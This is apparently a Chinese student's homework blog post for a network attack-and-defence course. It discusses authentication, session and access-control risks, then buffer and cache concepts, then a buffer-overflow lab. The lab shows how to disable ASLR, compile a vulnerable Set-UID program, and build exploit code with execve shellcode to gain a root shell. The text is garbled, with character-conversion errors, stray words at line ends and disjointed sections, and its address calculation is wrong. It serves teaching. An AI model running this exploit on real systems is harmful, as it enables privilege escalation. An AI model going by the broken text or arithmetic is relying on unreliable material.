本博客屬於課程:《網絡攻防實踐》
本次做業:《第十週做業》
我在這個課程的目標:掌握知識與技能,加強能力和本領,提升悟性和水平。linux
身份認證策略、訪問控制策略、會話管理策略這三個方面基本上屬於整個軟件安全的基石,若是這三個方面缺乏了相應控制或者實現的大方向上存在問題,那麼對於整個軟件的影響極大,多是顛覆性的須要推到重建。
對抗中間人: 對於中間人攻擊大部分人的見解多是屬於軟件後期的部署問題,採用https/HSTS就沒什麼問題(問題可能並無這麼簡單),不過我仍是把它歸入到框架。
輸入輸出: 這可能有點老生常談,不過我以爲清楚的瞭解對於軟件而言是輸入,什麼是輸出,可能會更好進行分析。
敏感數據:在網絡逐漸造成虛擬社會的背景下,其開放性的特徵必然會引發有關部門的注意,做爲一項重要的合規項應當在初期就歸入考慮到。同時若是出現相應的問題,軟件修復起來極其頭疼,徹底可能出現修不完的狀況,在投產的過程觸犯了相應的法規形成的損失> 可能也極其巨大。
軟件技術棧: 白話一點的說法就是軟件都用了什麼技術。
配置管理: 一些意料以外漏洞可能都出自於錯誤的配置管理,諸如交易日誌泄露
異常處理: 安全對抗的本質是獲取信息,儘量的獲取一些常規獲取不到的信息,異常是一項比較重要的來源。算法
一、風險與處理
如今身份認證應該就是很清晰了,其實就是驗證虛擬帳號的祕密信息,那麼要知道只要是驗證信息就會返回成功和失敗的結果,從必定程度這也是一類信息泄露,只是信息泄露的量較少,經過不斷累積信息,就能最終破獲祕密信息,也是身份認證主要的風險點。
這類風險的直接體現就是暴力枚舉破解帳號。
固然,這風險屬於沒法解決的,咱們只能採用下降風險,使風險可控的方式。
二、帳號鎖定機制
因爲完美解決是相對困難的(主要是引入的不可用風險不必定能被接受),也能夠採用提升目標的信息量的方式,在有限的時間維度內,沒法破解帳號 提供祕密信息的複雜度,例如密碼的複雜度採用驗證碼技術,防止經過機器突破現實人的極限。減小單次信息累積的量
三、模糊失敗的錯誤提示
其實還有其餘的沒法解決的風險,例如祕密信息被竊取。因此通常還會要求提供更換祕密信息的功能。採用生物信息的技術讓人難以接受的是沒法進行更新祕密信息,若是須要更換可能須要從新設計相關的算法和信息採樣的算法,可能會要求全部虛擬用戶同時更換設備和祕密信息。shell
因爲HTTP協議屬於無狀態(每一個數據包都是獨立的,僅根據數據包沒法判斷以前發過哪些數據包)的協議,同時在身份認證一節中已經說明大部分的業務操做是須要基於虛擬身份進行的,那麼在完成身份認證後,後續數據包沒法回溯以前的數據包,從而致使沒法證實本身確實可以持有聲明的虛擬身份。固然若是每次都帶着身份的祕密信息請求進行確實是能夠進行身份認證,可是頻繁的使用這類祕密信息可能會增長祕密信息泄露的風險。現實的生活中因爲時間和空間的限制,基本上不存在這類風險,咱們也很難進行參考。不過這類問題反過來——如何讓服務器知曉是你這個真實的人在操做你的擁有的虛擬身份(問題又回到了身份認證)同身份認證一章節所述,那就是掌握祕密信息。即服務器與我商量一個只有咱們兩我的知道的臨時祕密,來替代原先虛擬身份的祕密。臨時祕密做爲虛擬身份的祕密的替代品,在每次訪問時都進行提供。—— 臨時祕密即咱們通常而言的sesssionID(會話ID)。會話管理,即圍繞sessionID是怎麼進行處理的。再繞一點,是否是以爲會話像是系統給我開設的臨時虛擬身份,可是同時具備原先虛擬身份的信息?確實沒錯,會話從某種程度上來說與帳號其實沒有區別,也可以提供相應的信息存儲,只不過會話是臨時的。瀏覽器
會話與帳號類似,其面對的風險也與身份認證相同。可是因爲是類似(若是徹底相同,又會回到最開始的問題——沒法證實本身確實可以持有聲明的虛擬身份),會話最大的一個特徵是臨時性。 因爲預置的時間屬性,基本咱們採用2中的複雜度方式。
如何來儘量的保證的複雜度呢? 隨機生成的符號組合。(避免組合單詞,帳號信息等,從信息熵的角度來講,儘量避免與已知信息相關聯,關聯的越多,這段數據包含的信息越少,越容易被猜想)必定長度的保證(每一位的長度增長,破解難度都是成倍提升)緩存
鑑於可能會與咱們學習過的MAC、DAC、RBAC混淆,這節討論的東西不是這些具體的策略,談論這些具體的策略,可能搜索一下google、wiki來得更加方便和準確,是討論訪問控制解決什麼問題,面對什麼樣的風險。涉及到訪問控制,天然有兩個概念,主體和客體。sass
在訪問控制方面,咱們至少須要幾點: 功能級別訪問控制針對用戶數據或者其餘資源的數據級的訪問控制梳理公共資源以及我的的資源監控與審計風險與處理風險也圍繞着咱們在上文所說的幾點相關資源的訪問控制(即門禁的設計)。 根據系統不一樣的須要,對不一樣的資源設置相應的訪問權限。畢竟在通常狀況下,我房間應該只有我以及我受權的相關人員可以進入須要評估和確認訪問權限設計的有效性,知足最小化的原則對於資源默認的訪問權限應當是拒絕受權繞過/未受權訪問 在系統變動過程當中是否持續對資源進行梳理和監控側信道/信息推測 例子的描述: 房間裏會有窗戶,可能透過窗戶可以看到一些 或者 分析你的生活習慣推測一些信息。 從描述來看,風險相較於其餘幾項較少以前提到過,咱們忽略了時間和空間的影響。在虛擬世界中可能會存在直接訪問到我我的房間的狀況,因此通常下咱們首先須要去驗證訪問者是否持有認證經過後持有的虛擬身份。通常這個操做在軟件系統中會做爲全局攔截器來實現,至關於將全部的資源歸入到門禁的範圍內,避免在實現新增功能時,忘了考慮這類狀況,從而產生風險,該類狀況即便經過審計發現,也沒法進行追溯安全
1、什麼是緩衝區
緩衝區(buffer),它是內存空間的一部分。也就是說,在內存空間中預留了必定的存儲空間,這些存儲空間用來緩衝輸入或輸出的數據,這部分預留的空間就叫作緩衝區,顯然緩衝區是具備必定大小的。緩衝區根據其對應的是輸入設備仍是輸出設備,分爲輸入緩衝區和輸出緩衝區。
2、爲何要引入緩衝區
高速設備與低速設備的不匹配,勢必會讓高速設備花時間等待低速設備,咱們能夠在這二者之間設立一個緩衝區。
緩衝區的做用:
1.能夠解除二者的制約關係,數據能夠直接送往緩衝區,高速設備不用再等待低速設備,提升了計算機的效率。例如:咱們使用打印機打印文檔,因爲打印機的打印速度相對較慢,咱們先把文檔輸出到打印機相應的緩衝區,打印機再自行逐步打印,這時咱們的CPU能夠處理別的事情。
2.能夠減小數據的讀寫次數,若是每次數據只傳輸一點數據,就須要傳送不少次,這樣會浪費不少時間,由於開始讀寫與終止讀寫所須要的時間很長,若是將數據送往緩衝區,待緩衝區滿後再進行傳送會大大減小讀寫次數,這樣就能夠節省不少時間。例如:咱們想將數據寫入到磁盤中,不是立馬將數據寫到磁盤中,而是先輸入緩衝區中,當緩衝區滿了之後,再將數據寫入到磁盤中,這樣就能夠減小磁盤的讀寫次數,否則磁盤很容易壞掉。簡單來講,緩衝區就是一塊內存區,它用在輸入輸出設備和CPU之間,用來存儲數據。它使得低速的輸入輸出設備和高速的CPU可以協調工做,避免低速的輸入輸出設備佔用CPU,解放出CPU,使其可以高效率工做。
3、緩衝區的類型
緩衝區 分爲三種類型:全緩衝、行緩衝和不帶緩衝。
一、全緩衝
在這種狀況下,當填滿標準I/O緩存後才進行實際I/O操做。全緩衝的典型表明是對磁盤文件的讀寫。
二、行緩衝
在這種狀況下,當在輸入和輸出中遇到換行符時,執行真正的I/O操做。這時,咱們輸入的字符先存放在緩衝區,等按下回車鍵換行時才進行實際的I/O操做。典型表明是鍵盤輸入數據。
三、不帶緩衝
也就是不進行緩衝,標準出錯狀況stderr是典型表明,這使得出錯信息能夠直接儘快地顯示出來。
4、緩衝區的刷新
下列狀況會引起緩衝區的刷新:緩衝區滿時;關閉文件。可見,緩衝區滿或關閉文件時都會刷新緩衝區,進行真正的I/O操做。bash
cache是一個很是大的概念。服務器
1、cpu緩存
CPU的Cache,它中文名稱是高速緩衝存儲器,讀寫速度很快,幾乎與CPU同樣。因爲CPU的運算速度太快,內存的數據存取速度沒法跟上CPU的速度,因此在cpu與內存間設置了cache爲cpu的數據快取區。當計算機執行程序時,數據與地址管理部件會預測可能要用到的數據和指令,並將這些數據和指令預先從內存中讀出送到Cache。一旦須要時,先檢查Cache,如有就從Cache中讀取,若無再訪問內存,如今的CPU還有一級cache,二級cache。簡單來講,Cache就是用來解決CPU與內存之間速度不匹配的問題,避免內存與輔助內存頻繁存取數據,這樣就提升了系統的執行效率。
2、儲存緩存
磁盤也有cache,硬盤的cache做用就相似於CPU的cache,它解決了總線接口的高速需求和讀寫硬盤的矛盾以及對某些扇區的反覆讀取。
3、軟件緩存
瀏覽器緩存(Browser Caching)是爲了節約網絡的資源加速瀏覽,瀏覽器在用戶磁盤上對最近請求過的文檔進行存儲,當訪問者再次請求這個頁面時,瀏覽器就能夠從本地磁盤顯示文檔,這樣就能夠加速頁面的閱覽,而且能夠減小服務器的壓力。這個過程與下載很是相似,不過下載是用戶的主動過程,而且下載的數據通常是長時間保存,遊覽器的緩存的數據只是短期保存,能夠人爲的清空。一樣cache也有大小,例如如今市面上購買的CPU的cache越大,級數越多,CPU的訪問速度越快。cache在不少方面都有應用,就不一一列舉了。網絡
Buffer的核心做用是用來緩衝,緩和衝擊。好比你每秒要寫100次硬盤,對系統衝擊很大,浪費了大量時間在忙着處理開始寫和結束寫這兩件事嘛。用個buffer暫存起來,變成每10秒寫一次硬盤,對系統的衝擊就很小,寫入效率高了,日子過得爽了。極大緩和了衝擊。
Cache的核心做用是加快取用的速度。好比你一個很複雜的計算作完了,下次還要用結果,就把結果放手邊一個好拿的地方存着,下次不用再算了。加快了數據取用的速度。
簡單來講就是buffer偏重於寫,而cache偏重於讀。
緩衝區溢出的原理很簡單,相似於把水倒入杯子中,而杯子容量有限,若是倒入水的量超過杯子的容量,水就會溢出來。
緩衝區是一塊用於存放數據的臨時內存空間,它的長度事先已經被程序或者操做系統定義好。緩衝區相似於一個杯子,
寫入的數據相似於倒入的水。緩衝區溢出就是將長度超過緩衝區大小的數據寫入程序的緩衝區,
形成緩衝區的溢出,從而破壞程序的堆棧,使程序轉而執行其餘指令。
是目前很是廣泛並且危險性很是高的漏洞,在各類操做系統和應用軟件中普遍存在。
利用緩衝區溢出攻擊,可使遠程主機出現程序運行錯誤、系統死機或者重啓等異常現象,它甚至能夠被黑客利用,
在沒有任何系統賬戶的條件下得到系統最高控制權,進而進行各類非法操做。
在UNIX系統中對C函數處理時,系統會爲其分配一段內存區間,其中用於函數調用的區域爲堆棧區,
保存了函數調用過程當中的返回地址、
棧頂和棧底信息,以及局部變量和函數的參數。上述main函數執行時,上述信息按照參數、
ret(返回地址)和EBP(棧底)
的順序依次壓入其堆棧區中,而後根據所調用的局部變量再在堆棧中開闢一塊相應的空間,
這個內存空間被申請佔用的過程是從
內存高地址空間向低地址空間的延伸。爲局部變量在堆棧中預留的空間在填入局部變量時,
其填入的順序是從低地址內存空間向
高地址內存空間依次進行。函數執行完後,局部變量佔用的內存空間將被丟棄,並根據EBP
和ret地址,恢復到調用函數原有地
址空間繼續執行。當字符處理函數沒有對局部變量進行越界監視和限制時,就存在局部變量
寫越界,覆蓋了高地址內存空間中ret、
EBP的信息,形成緩衝區溢出。
先安裝環境和工具包
$ sudo apt-get install -y lib32z1 libc6-dev-i386 $ sudo apt-get install -y lib32readline-gplv2-dev
初始設置
Ubuntu 和其餘一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜想準確的內存地址變得十分困難,而猜想內存地址是緩衝區溢出攻擊的關鍵。所以本次實驗中,咱們使用如下命令關閉這一功能:
$ sudo sysctl -w kernel.randomize_va_space=0
設置zsh
爲了進一步防範緩衝區溢出攻擊及其它利用 shell 程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。所以,即便你能欺騙一個 Set-UID 程序調用一個 shell,也不能在這個 shell 中保持 root 權限,這個防禦措施在 /bin/bash 中實現。
$ sudo su $ cd /bin $ rm sh $ ln -s zsh sh $ exit
linux調製32位工做
$linux32 $/bin/bash
漏洞程序
int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
並進行編譯
$ sudo su $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c $ chmod u+s stack $ exit
攻擊程序
char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個字節覆蓋sellcode地址 strcpy(buffer + 100, shellcode); //將shellcode拷貝至buffer,偏移量設爲了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
其中:\x??\x??\x??\x?? 處須要添上 shellcode 保存在內存中的地址,由於發生溢出後這個位置恰好能夠覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴咱們,shellcode 保存在 buffer + 100 的位置。下面咱們將詳細介紹如何得到咱們須要添加的地址。
$ gdb stack
$ disass main
經過設置斷點能夠發現地址位0xffff0611
根據語句 strcpy(buffer + 100,shellcode); 咱們計算 shellcode 的地址爲 0xffff0611(十六進制) + 0x64(100的十六進制) = 0xffffd484(十六進制)
奪取權限成功。
Set-UID是Unix系統中的一個重要的安全機制。當一個Set-UID程序運行的時候,它被假設爲擁有者的權限。例如,若是程序的擁有者是root,那麼任何人運行這個程序時都會得到程序擁有者的權限。
有效利用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,能夠提升防範溢出攻擊的能力。